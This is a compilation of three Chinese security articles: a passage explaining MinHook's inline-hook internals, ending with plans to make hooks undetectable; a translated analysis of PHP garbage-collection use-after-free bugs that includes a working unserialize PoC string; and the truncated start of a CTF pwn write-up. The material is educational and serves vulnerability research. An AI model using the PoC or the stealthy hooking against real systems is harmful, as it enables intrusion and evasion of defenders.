} g_hooks;
g_hooks是一个全局变量，此结构体存储了当前创建的所有钩子，每个钩子的信息都存在了`pItems`这个指针里。`PHOOK_ENTRY`结构体的定义如下：
typedef struct _HOOK_ENTRY
{
LPVOID pTarget; // Address of the target function.
LPVOID pDetour; // Address of the detour or relay function.
LPVOID pTrampoline; // Address of the trampoline function.
UINT8 backup[8]; // Original prologue of the target function.
UINT8 patchAbove : 1; // Uses the hot patch area.
UINT8 isEnabled : 1; // Enabled.
UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
UINT nIP : 4; // Count of the instruction boundaries.
UINT8 oldIPs[8]; // Instruction boundaries of the target function.
UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
} HOOK_ENTRY, *PHOOK_ENTRY;
`pTarget`存储了被hook的函数的地址，`pDetour`是你写的假的函数的地址，`pTrampoline`是一个中间的跳转函数，一会再细说。`backup[8]`是对被`Hook`函数的前五字节的备份，`nIp`表示被Hook函数的前五个字节可以是几条指令，`oldIPs`,`newIPs`分别存储了被Hook函数前五字节每条指令的偏移和中间跳转函数对应的每条指令的偏移，关于这个一会再细说。
接下来调用`MH_CreateHook`函数，在这个函数里面，首先调用`FindHookEntry`查找`g_hooks`中是否已经存放了被hook的目标，如果不存在，就进入创建一个`_HOOK_ENTRY`的过程。
static UINT FindHookEntry(LPVOID pTarget)
{
UINT i;
for (i = 0; i < g_hooks.size; ++i)
{
if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
return i;
}
return INVALID_HOOK_POS;
}
但是在初始化`_HOOK_ENTRY`之前先要初始化一个`_TRAMPOLINE`，这部分是minHook的关键,结构体定义如下：
typedef struct _TRAMPOLINE
{
LPVOID pTarget; // [In] Address of the target function.
LPVOID pDetour; // [In] Address of the detour function.
LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
#if defined(_M_X64) || defined(__x86_64__)
LPVOID pRelay; // [Out] Address of the relay function.
#endif
BOOL patchAbove; // [Out] Should use the hot patch area?
UINT nIP; // [Out] Number of the instruction boundaries.
UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
} TRAMPOLINE, *PTRAMPOLINE;
这个结构体其他部分的定义跟`_HOOK_ENTRY`结构体一毛一样，但是这里有一个初始化`pTrampoline`指针的函数`AllocateBuffer`，此函数中核心逻辑在`GetMemoryBlock`中，关键代码如下：
while ((ULONG_PTR)pAlloc >= minAddr)
{
pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity); // 按照虚拟内存分配粒度找一块free的内存空间
if (pAlloc == NULL)
break;
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBlock != NULL)
break;
}
}
// Alloc a new block below if not found.
if (pBlock == NULL)
{
LPVOID pAlloc = pOrigin;
while ((ULONG_PTR)pAlloc <= maxAddr)
{
pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
if (pAlloc == NULL)
break;
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBlock != NULL)
break;
}
}
大意是在被Hook函数的左右512M空间找找到处于空闲状态的内存空间，并返回其地址。接下来就是初始化`TRAMPOLINE`结构体的函数`CreateTrampolineFunction`，此函数比较复杂，在一个大的do-while循环中主要干了两件事情
1. 将被Hook的函数的前五个字节放置在`pTrampoline`指向的buffer中，创建中间函数。也就是我们自己定义函数指针`fpMessageBoxW`的函数体。但是在拷贝的时候，比较麻烦的一点就是，需要进行指令分析，因为`call`，`jmp`,`jcc`这类指令的操作数需要做相对地址转换（都是相对于eip的）。
do
{
HDE hs;
UINT copySize;
LPVOID pCopySrc;
ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
copySize = HDE_DISASM((LPVOID)pOldInst, &hs); //对目标代码进行反汇编
if (hs.flags & F_ERROR)
return FALSE;
pCopySrc = (LPVOID)pOldInst;
if (oldPos >= sizeof(JMP_REL))
{
// The trampoline function is long enough.
// Complete the function with the jump to the target function.
#if defined(_M_X64) || defined(__x86_64__)
jmp.address = pOldInst; // x64模式写， 0xFF25 disp64进行jmp
#else
jmp.operand = (UINT32)(pOldInst - (pNewInst + sizeof(jmp)));
#endif
pCopySrc = &jmp;
copySize = sizeof(jmp);
finished = TRUE;
}
#if defined(_M_X64) || defined(__x86_64__)
else if ((hs.modrm & 0xC7) == 0x05) // 在x64模式下添加的 [rip+disp32] 的间接寻址模式
{
// Instructions using RIP relative addressing. (ModR/M = 00???101B)
// 使用RIP相对指令跳转
// Modify the RIP relative address.
PUINT32 pRelAddr;
// Avoid using memcpy to reduce the footprint.
#ifndef _MSC_VER
memcpy(instBuf, (LPBYTE)pOldInst, copySize);
#else
__movsb(instBuf, (LPBYTE)pOldInst, copySize);
#endif
pCopySrc = instBuf;
// Relative address is stored at (instruction length - immediate value length - 4).
pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
*pRelAddr
= (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
// 写入相对跳转地址
// Complete the function if JMP (FF /4).
if (hs.opcode == 0xFF && hs.modrm_reg == 4)
finished = TRUE;
}
#endif
else if (hs.opcode == 0xE8) // 如果是call指令
{
// Direct relative CALL
ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32; //call 指令的目的跳转地址
#if defined(_M_X64) || defined(__x86_64__)
call.address = dest;
#else
call.operand = (UINT32)(dest - (pNewInst + sizeof(call))); // 修改call指令的目的跳转地址
#endif
pCopySrc = &call;
copySize = sizeof(call);
}
else if ((hs.opcode & 0xFD) == 0xE9) // 如果是jmp
{
// Direct relative JMP (EB or E9)
ULONG_PTR dest = pOldInst + hs.len;
if (hs.opcode == 0xEB) // isShort jmp
dest += (INT8)hs.imm.imm8;
else
dest += (INT32)hs.imm.imm32;
// Simply copy an internal jump.
if ((ULONG_PTR)ct->pTarget <= dest
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
{
if (jmpDest < dest)
jmpDest = dest;
}
else
{
#if defined(_M_X64) || defined(__x86_64__)
jmp.address = dest;
#else
jmp.operand = (UINT32)(dest - (pNewInst + sizeof(jmp)));
#endif
pCopySrc = &jmp;
copySize = sizeof(jmp);
// Exit the function If it is not in the branch
finished = (pOldInst >= jmpDest);
}
}
else if ((hs.opcode & 0xF0) == 0x70
|| (hs.opcode & 0xFC) == 0xE0
|| (hs.opcode2 & 0xF0) == 0x80)
{
// Direct relative Jcc
ULONG_PTR dest = pOldInst + hs.len;
if ((hs.opcode & 0xF0) == 0x70 // Jcc
|| (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
dest += (INT8)hs.imm.imm8;
else
dest += (INT32)hs.imm.imm32;
// Simply copy an internal jump.
if ((ULONG_PTR)ct->pTarget <= dest
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
{
if (jmpDest < dest)
jmpDest = dest;
}
else if ((hs.opcode & 0xFC) == 0xE0)
{
// LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
return FALSE;
}
else
{
UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
#if defined(_M_X64) || defined(__x86_64__)
// Invert the condition in x64 mode to simplify the conditional jump logic.
jcc.opcode = 0x71 ^ cond;
jcc.address = dest;
#else
jcc.opcode1 = 0x80 | cond;
jcc.operand = (UINT32)(dest - (pNewInst + sizeof(jcc)));
#endif
pCopySrc = &jcc;
copySize = sizeof(jcc);
}
}
else if ((hs.opcode & 0xFE) == 0xC2)
{
// RET (C2 or C3)
// Complete the function if not in a branch.
finished = (pOldInst >= jmpDest);
}
// Can't alter the instruction length in a branch.
if (pOldInst < jmpDest && copySize != hs.len)
return FALSE;
// Trampoline function is too large.
if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
return FALSE;
// Trampoline function has too many instructions.
if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
return FALSE;
ct->oldIPs[ct->nIP] = oldPos;
ct->newIPs[ct->nIP] = newPos;
ct->nIP++;
// Avoid using memcpy to reduce the footprint.
#ifndef _MSC_VER
memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
#else
__movsb((LPBYTE)ct->pTrampoline + newPos,(LPBYTE)pCopySrc, copySize);
#endif
newPos += copySize;
oldPos += hs.len;
}
while (!finished);
1. 接下来就是还需要在`pTrampoline`的末尾写上一个长跳转指令，跳转到被Hook函数的指定位置开始执行(注意不是被Hook函数的开始，因为被Hook函数的开始部分已经在pTrampoline指向的buffer的前五个字节中已经被执行了)。（其实这部分代码是在do-while循环中完成的）
JMP_ABS jmp = {
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
0x0000000000000000ULL // Absolute destination address
};
// 0xff25的一个长跳转
if (oldPos >= sizeof(JMP_REL))
{
// The trampoline function is long enough.
// Complete the function with the jump to the target function.
#if defined(_M_X64) || defined(__x86_64__)
jmp.address = pOldInst; // x64模式写， 0xFF25 disp64进行jmp
#else
jmp.operand = (UINT32)(pOldInst - (pNewInst + sizeof(jmp)));
#endif
pCopySrc = &jmp;
copySize = sizeof(jmp);
finished = TRUE;
}
### 0x3 安装钩子
钩子函数已经初始化成功了，接下来就需要开始安装了，调用`MH_EnableHook`函数。核心操作在函数`EnableHookLL`中：
static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
DWORD oldProtect;
SIZE_T patchSize = sizeof(JMP_REL);
LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
if (pHook->patchAbove)
{
pPatchTarget -= sizeof(JMP_REL);
patchSize += sizeof(JMP_REL_SHORT);
}
if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
return MH_ERROR_MEMORY_PROTECT;
if (enable)
{
PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
pJmp->opcode = 0xE9;
pJmp->operand = (UINT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
if (pHook->patchAbove)
{
PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
pShortJmp->opcode = 0xEB;
pShortJmp->operand = (UINT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
}
}
else
{
if (pHook->patchAbove)
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
else
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
}
VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
// Just-in-case measure.
FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
pHook->isEnabled = enable;
pHook->queueEnable = enable;
return MH_OK;
}
核心代码就下面三行：
PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
pJmp->opcode = 0xE9;
pJmp->operand = (UINT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
在被Hook的函数的前五个字节写上`0xe9+跳转地址`,跳转到我们创建假的函数地址的位置。
但是再执行`EnableHookLL`还要执行一个操作，就是先暂停本进程出去本线程之外的所有线程,调用`freeze`函数实现操作：
static VOID Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
{
pThreads->pItems = NULL;
pThreads->capacity = 0;
pThreads->size = 0;
EnumerateThreads(pThreads);
if (pThreads->pItems != NULL)
{
UINT i;
for (i = 0; i < pThreads->size; ++i)
{
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
if (hThread != NULL)
{
SuspendThread(hThread);
ProcessThreadIPs(hThread, pos, action);
CloseHandle(hThread);
}
}
}
}
跟踪一下`ProcessThreadIPs`函数的操作：
static void ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
{
// If the thread suspended in the overwritten area,
// move IP to the proper address.
CONTEXT c;
#if defined(_M_X64) || defined(__x86_64__)
DWORD64 *pIP = &c.Rip;
#else
DWORD *pIP = &c.Eip;
#endif
UINT count;
c.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &c))
return;
if (pos == ALL_HOOKS_POS)
{
pos = 0;
count = g_hooks.size;
}
else
{
count = pos + 1;
}
for (; pos < count; ++pos)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
BOOL enable;
DWORD_PTR ip;
switch (action)
{
case ACTION_DISABLE:
enable = FALSE;
break;
case ACTION_ENABLE:
enable = TRUE;
break;
default: // ACTION_APPLY_QUEUED
enable = pHook->queueEnable;
break;
}
if (pHook->isEnabled == enable)
continue;
if (enable)
ip = FindNewIP(pHook, *pIP);
else
ip = FindOldIP(pHook, *pIP);
if (ip != 0)
{
*pIP = ip;
SetThreadContext(hThread, &c);
}
}
}
emm，这里直接修改了其他线程的Eip，操作有点秀啊。。。。。
接下来就是恢复线程的操作了,不在细说。
### 0x4 Hook之后的调用过程
就以实例代码中的Hook`MessageBoxW`的调用过程为例，以下图展示：
DetourMessageBoxW
^------------>+------------------ --- --+
+--------------------+ | | push ebp |
| // user code | | | mov ebp,esp |
+-+ call MessageBoxW | | | ...... |
| +--------------------+ | | ;your code |
| | | ..... |
| | | call fpMessage oxW +--+
| | +------------------ --- --+ |
| | |
v origin MessageBoxW | fpMessageBoxW |
+-----+------------------------------+ | +--------------------------+<-+
| 0xe9 address_D tourMessageBoxW +----+ | |
| .......other code...... | | ; origin 5 bytes |
+------------------------------------+ | ; of MesageBoxW |
| |
| jmp MessageBoxW+5 |
+--------------------------+
### 0x5 需要改进的地方
因为想做不被执行程序感知的Hook，这里明显的问题是，被Hook的系统API的第一条指令都是`0xe9...`很容易被发现。另外一个问题是这里没有对栈做处理，导致也可以通过`unblance
stack`技巧轻易发现API被Hook过。
所以接下来的工作就是修改这个两个地方。 | 社区文章 |
# 如何攻破PHP的垃圾回收和反序列化机制（上）
|
##### 译文声明
本文是翻译文章，文章来源：evonide.com
原文地址：<https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在本文中，我们主要介绍了PHP垃圾回收（Garbage Collection）算法中的两个Use-After-Free漏洞。其中一个漏洞影响PHP
5.3以上版本，在5.6.23版本中修复。另外一个漏洞影响PHP 5.3以上版本和PHP
7所有版本，分别在5.6.23和7.0.8版本中修复。这些漏洞也可以通过PHP的反序列化函数远程利用。特别要提及的是，我们通过这些漏洞实现了pornhub.com网站的远程代码执行，从而获得了总计20000美元的漏洞奖励，同时每人获得了来自Hackerone互联网漏洞奖励的1000美元奖金。在这里，感谢Dario
Weißer编写反序列化模糊测试程序，并帮助我们确定了反序列化中的原始漏洞。
## 概述
我们在审计Pornhub的过程中，发现了PHP垃圾回收算法中的两个严重缺陷，当PHP的垃圾回收算法与其他特定的PHP对象进行交互时，发现了两个重要的Use-After-Free漏洞。这些漏洞的影响较为广泛，可以利用反序列化漏洞来实现目标主机上的远程代码执行，本文将对此进行讨论。
在对反序列化进行模糊测试并发现问题之后，我们可以总结出两个UAF漏洞的PoC。如果关注如何发现这些潜在问题，大家可以参阅Dario关于反序列化模糊测试过程的文章（
<https://www.evonide.com/fuzzing-unserialize> ）。我们在此仅举一例：
// POC of the ArrayObject GC vulnerability
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
// Result:
// string(4) "bbbb"
针对这个示例，我们通常期望如下输出：
array(1) { // outer_array
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(2) { // inner_array
[1]=>
// Reference to inner_array
[2]=>
// Reference to outer_array
}
}
}
但实际上，一旦该示例执行，外部数组（由$outer_array引用）将会被释放，并且zval将会被$filler2的zval覆盖，导致没有输出“bbbb”。
根据这一示例，我们产生了以下问题：
为什么外部数组完全被释放？
函数gc_collect_cycles()在做什么，是否真的有必要存在这个手动调用？由于许多脚本和设置根本不会调用这个函数，所以它对于远程利用来说是非常不方便的。
即使我们能够在反序列化过程中调用它，但在上面这个例子的场景中，还能正常工作吗？
这一切问题的根源，似乎都在于PHP垃圾回收机制的gc_collect_cycles之中。我们首先要对这一函数有更好的理解，然后才能解答上述的所有问题。
## PHP的垃圾回收机制
在早期版本的PHP中，存在循环引用内存泄露的问题，因此，在PHP 5.3.0版本中引入了垃圾回收（GC）算法（官方文档：
<http://php.net/manual/de/features.gc.collecting-cycles.php>
）。垃圾回收机制默认是启用的，可以通过在php.ini配置文件中设置zend.enable_gc来触发。
在这里，我们已经假设各位读者具备了一些PHP的相关知识，包括内存管理、“zval”和“引用计数”等，如果有读者对这些名词不熟悉，可以首先阅读官方文档：
<http://www.phpinternalsbook.com/zvals/basic_structure.html> ；
<http://www.phpinternalsbook.com/zvals/memory_management.html> 。
### 2.1 循环引用
要理解什么是循环引用，请参见一下示例：
//Simple circular reference example
$test = array();
$test[0] = &$test;
unset($test);
由于$test引用其自身，所以它的引用计数为2，即使我们没有设置$test，它的引用计数也会变为1，从而导致内存不再被释放，造成内存泄露的问题。为了解决这一问题，PHP开发团队参考IBM发表的“Concurrent
Cycle Collection in Reference Counted Systems”一文（
<http://researcher.watson.ibm.com/researcher/files/us-bacon/Bacon01Concurrent.pdf> ），实现了一种垃圾回收算法。
### 2.2 触发垃圾回收
该算法的实现可以在“Zend/zend_gc.c”（ <https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c>
）中找到。每当zval被销毁时（例如：在该zval上调用unset时），垃圾回收算法会检查其是否为数组或对象。除了数组和对象外，所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根（Root），并会被添加到一个名为gc_root_buffer的列表中。
然后，将会重复上述步骤，直至满足下述条件之一：
1、gc_collect_cycles()被手动调用（ <http://php.net/manual/de/function.gc-collect-cycles.php> ）；
2、垃圾存储空间将满。这也就意味着，在根缓冲区的位置已经存储了10000个zval，并且即将添加新的根。这里的10000是由“Zend/zend_gc.c”（
<https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c>
）头部中GC_ROOT_BUFFER_MAX_ENTRIES所定义的默认限制。当出现第10001个zval时，将会再次调用gc_zval_possible_root，这时将会再次执行对gc_collect_cycles的调用以处理并刷新当前缓冲区，从而可以再次存储新的元素。
### 2.3 循环收集的图形标记算法
垃圾回收算法实质上是一种图形标记算法（Graph Marking
Algorithm），其具体结构如下。图形节点表示实际的zval，例如数组、字符串或对象。而边缘表示这些zval之间的连接或引用。
此外，该算法主要使用以下颜色标记节点。
1、紫色：潜在的垃圾循环根。该节点可以是循环引用循环的根。最初添加到垃圾缓冲区的所有节点都会标记为紫色。
2、灰色：垃圾循环的潜在成员。该节点可以是循环参考循环中的一部分。
3、白色：垃圾循环的成员。一旦该算法终止，这些节点应该被释放。
4、黑色：使用中或者已被释放。这些节点在任何情况下都不应该被释放。
为了能更清晰地了解这个算法的详情，我们接下来具体看看其实现方法。整个垃圾回收过程都是在gc_collect_cycles中执行：
"Zend/zend_gc.c"
[...]
ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[...]
gc_mark_roots(TSRMLS_C);
gc_scan_roots(TSRMLS_C);
gc_collect_roots(TSRMLS_C);
[...]
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}
[...]
}
这个函数可以分为如下四个简化后的步骤：
1、gc_mark_roots（TSRMLS_C）：
将zval_mark_grey应用于gc_root_buffer中所有紫色标记的元素。其中，zval_mark_grey针对给定的zval按照以下步骤进行：
(1) 如果给定的zval已经标记为灰色，则返回；
(2) 将给定的zval标记为灰色；
(3) 当给定的zval是数组或对象时，检索所有子zval；
(4) 将所有子zval的引用计数减1，然后调用zval_mark_grey。
总体来说，这一步骤将根zval可达的其他zval都标记为灰色，并且将这些zval的引用计数器减1。
2、gc_scan_roots（TSRMLS_C）：
将zcal_scan应用于gc_root_buffer中的所有元素。zval_scan针对给定的zval执行以下操作：
(1) 如果给定的zval已经标记为非灰色的其他颜色，则返回；
(2)
如果其引用计数大于0，则调用zval_scan_black，其中zval_scan_black会恢复此前zval_mark_grey对引用计数器执行的所有操作，并将所有可达的zval标记为黑色；
(3) 否则，将给定的zval标记为白色，当给定的zval是数组或对象时检索其所有子zval，并调用zval_scan。
总体来说，通过这一步，将会确定出来哪些已经被标记为灰色的zval现在应该被标记为黑色或白色。
3、gc_collect_roots（TSRMLS_C）:
在这一步骤中，针对所有标记为白色的zval，恢复其引用计数器，并将它们添加到gc_zval_to_free列表中，该列表相当于gc_free_list。
4、最后，释放gc_free_list中包含的所有元素，也就是释放所有标记为白色的元素。
通过上述算法，会对循环引用的所有部分进行标记和释放，具体方法就是先将其标记为白色，然后进行收集，最终释放它们。通过对上述算法进行仔细分析，我们发现其中有可能出现冲突，具体如下：
1、在步骤1.4中，zval_mark_grey在实际检查zval是否已经标记为灰色之前，就对其所有子zval的引用计数器进行了递减操作；
2、由于zval引用计数器的暂时递减，可能会导致一些影响（例如：对已经递减的引用计数器再次进行检查，或对其进行其他操作），从而造成严重后果。
## PoC分析
根据我们现在已经掌握的垃圾回收相关知识，重新回到漏洞示例。我们首先回想如下的序列化字符串：
//POC of the ArrayObject GC vulnerability
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
在使用gdb时，我们可以使用标准的PHP 5.6 .gdbinit（ <https://github.com/php/php-src/blob/PHP-5.6.23/.gdbinit> ）和一个额外的自定义例程来转储垃圾回收缓冲区的内容。
//.gdbinit dumpgc
define dumpgc
set $current = gc_globals.roots.next
printf "GC buffer content:n"
while $current != &gc_globals.roots
printzv $current.u.pz
set $current = $current.next
end
end
此外，我们现在可以在gc_mark_roots和gc_scan_roots上设置断点来查看所有相关引用计数器的状态。
此次分析的目标，是为了解答为什么外部数组会完全被释放。我们将PHP进程加载到gdb中，并按照上文所述设置断点，执行示例脚本。
(gdb) r poc1.php
[...]
Breakpoint 1, gc_mark_roots () at [...]
(gdb) dumpgc
GC roots buffer content:
[0x109f4b0] (refcount=2) array(1): { // outer_array
1 => [0x109d5c0] (refcount=1) object(ArrayObject) #1
}
[0x109ea20] (refcount=2,is_ref) array(2): { // inner_array
1 => [0x109ea20] (refcount=2,is_ref) array(2): // reference to inner_array
2 => [0x109f4b0] (refcount=2) array(1): // reference to outer_array
}
在这里，我们看到，一旦反序列化完成，两个数组（inner_array和outer_array）都会被添加到垃圾回收缓冲区中。如果我们在gc_scan_roots处中断，那么将会得到如下的引用计数器：
(gdb) c
[...]
Breakpoint 2, gc_scan_roots () at [...]
(gdb) dumpgc
GC roots buffer content:
[0x109f4b0] (refcount=0) array(1): { // outer_array
1 => [0x109d5c0] (refcount=0) object(ArrayObject) #1
}
在这里，我们确实看到了gc_mark_roots将所有引用计数器减为0，所以这些节点接下来会变为白色，随后被释放。但是，我们有一个问题，为什么引用计数器会首先变为0呢？
### 3.1 对意外行为的调试
接下来，让我们逐步通过gc_mark_roots和zval_mark_grey探究其原因。
1、zval_mark_grey将会在outer_array上调用（此时，outer_array已经添加到垃圾回收缓冲区中）；
2、将outer_array标记为灰色，并检索所有子项，在这里，outer_array只有一个子项，即“object(ArrayObject)
#1”（引用计数器 = 1）；
3、将子项或ArrayObject的引用计数分别进行递减，结果为“object(ArrayObject) #1”（引用计数器 = 0）；
4、zval_mark_grey将会在此ArrayObject上被调用；
5、这一对象会被标记为灰色，其所有子项（对inner_array的引用和对outer_array的引用）都将被检索；
6、两个子项的引用计数器，即两个引用的zval将被递减，目前“outer_array”（引用计数器 = 1），“inner_array”（引用计数器 =
1）；
7、由于outer_array已经标记为灰色（步骤2），所以现在要在outer_array上调用zval_mark_grey；
8、在inner_array上调用zval_mark_grey，它将被标记为灰色，并且其所有子项都将被检索，同步骤5一样；
9、两个子项的引用计数器再次被递减，导致“outer_array”（引用计数器 = 0），“inner_array”（引用计数器 = 0）；
10、最后，由于不再需要访问zval，所以zval_mark_grey将终止。
在此过程中，我们没有想到的是，inner_array和ArrayObject中包含的引用分别递减了两次，而实际上它们每个引用应该只递减一次。另外，其中的步骤8不应被执行，因为这些元素在步骤6中已经被标记算法访问过。
经过探究我们发现，标记算法假设每个元素只能有一个父元素，而在上述过程中显然不满足这一预设条件。那么，为什么在我们的示例中，一个元素可以作为两个不同父元素的子元素被返回呢？
### 3.2 造成子项有两个父节点的原因
要找到答案，我们必须先看看是如何从父对象中检索到子zval的：
"Zend/zend_gc.c"
[...]
static void zval_mark_grey(zval *pz TSRMLS_DC)
{
[...]
if (Z_TYPE_P(pz) == IS_OBJECT && EG(objects_store).object_buckets) {
if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {
[...]
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);
[...]
}
可以看出，如果传递的zval是一个对象，那么该函数就会调用特定于对象的get_gc处理程序。这个处理程序应该返回一个哈希表，其中包含所有的子zval。经过进一步调试后，我们发现该过程将会调用spl_array_get_properties：
"ext/spl/spl_array.c"
[...]
static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
[...]
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
[...]
return result;
}
总之，将会返回内部ArrayObject数组的哈希表。然而，问题发生的根源是这个哈希表在两个不同的上下文环境中使用，分别是：
1、当算法试图访问ArrayObject zval的子元素时；
2、当算法试图访问inner_array的子项时。
大家可能现在能猜到，在步骤1中缺少了一些东西。由于返回inner_array哈希表的行为与访问inner_array的行为非常相似，因此前者在步骤1中也应该标记为灰色，从而保证在步骤2中不能再次对其进行访问。
那么，接下来我们会问，为什么inner_array在步骤1中没有被标记为灰色？我们可以再次仔细阅读一下zval_mark_grey是如何检索子项的：
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);
该方法推测是负责调用对象的垃圾回收函数，其垃圾回收函数类似于如下例子：
"ext/spl/php_date.c"
[...]
static HashTable *date_object_get_gc(zval *object, zval ***table, int *n TSRMLS_DC)
{
*table = NULL;
*n = 0;
return zend_std_get_properties(object TSRMLS_CC);
}
然而，返回的哈希表应该只包含对象自身的属性。实际上，还有zval的参数，会通过引用进行传递，并作为第二个“返回参数”。该zval应该包含该对象在其他上下文中所引用的所有zval。这一点，可以以存储在SplObjectStorage中的所有对象/zval为例。
对于我们特定的ArrayObject场景，我们希望zval表能够包含对inner_array的引用。然而，这一过程为什么要调用spl_array_get_properties而不是spl_array_get_gc呢？
### 3.3 缺少的垃圾回收函数及其导致的后果
问题的答案很简单，spl_array_get_gc根本就不存在！
PHP的开发人员并没有为ArrayObjects实现相应的垃圾回收函数。尽管如此，其实还是不能解释为什么spl_array_get_properties被调用。为了进一步追溯其原因，我们首先看看对象是如何初始化的：
"Zend/zend_object_handlers.c"
[...]
ZEND_API HashTable *zend_std_get_gc(zval *object, zval ***table, int *n TSRMLS_DC) /* {{{ */
{
if (Z_OBJ_HANDLER_P(object, get_properties) != zend_std_get_properties) {
*table = NULL;
*n = 0;
return Z_OBJ_HANDLER_P(object, get_properties)(object TSRMLS_CC);
[...]
}
处理遗漏的垃圾回收函数，依靠于对象自身的get_properties方法（前提是该方法已定义）。
现在，我们终于找到了第一个问题的答案。造成该漏洞的主要原因，是ArrayObject缺少垃圾回收函数。
奇怪的是，这个函数是在PHP 7.1.0 alpha2版本中又被引入（ <https://github.com/php/php-src/commit/4e03ba4a6ef4c16b53e49e32eb4992a797ae08a8> ）。因此，只有PHP
5.3及以上版本和7以下的版本缺少此函数，受到漏洞影响。然而，由于在不经过对反序列化进行调整的前提下，我们无法触发这一漏洞，因此还不能仅凭借此漏洞来实现远程代码执行。截至目前，我们将该漏洞称为“双递减漏洞”，漏洞报告如下（CVE-2016-5771）：
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771> 。
## 小结
现在，我们仍然需要回答开头提出的问题。其中之一是，是否有必要手动调用gc_collect_cycles？
此外，在发现了这一漏洞后，是否可以有效将其利用在对网站的远程代码执行漏洞利用上？
我们将在下篇文章中具体分析，敬请关注。
审核人：yiwang 编辑：少爷 | 社区文章 |
# MAR DASCTF题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 2021 MAR DASCTF题解，包括一道套路pwn题和一道2.32 uaf的pwn题，两个reverse 和
> 四道密码学。题目考察知识点比较新，也能够从中学习到一些新知识。
## Pwn
### fruitpie
题目的逻辑十分简单
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t size; // [rsp+4h] [rbp-1Ch]
char *chunk; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
welcome();
puts("Enter the size to malloc:");
LODWORD(size) = readInt("Enter the size to malloc:");
chunk = (char *)malloc((unsigned int)size);
if ( !chunk )
{
puts("Malloc Error");
exit(0);
}
printf("%p\n", chunk);
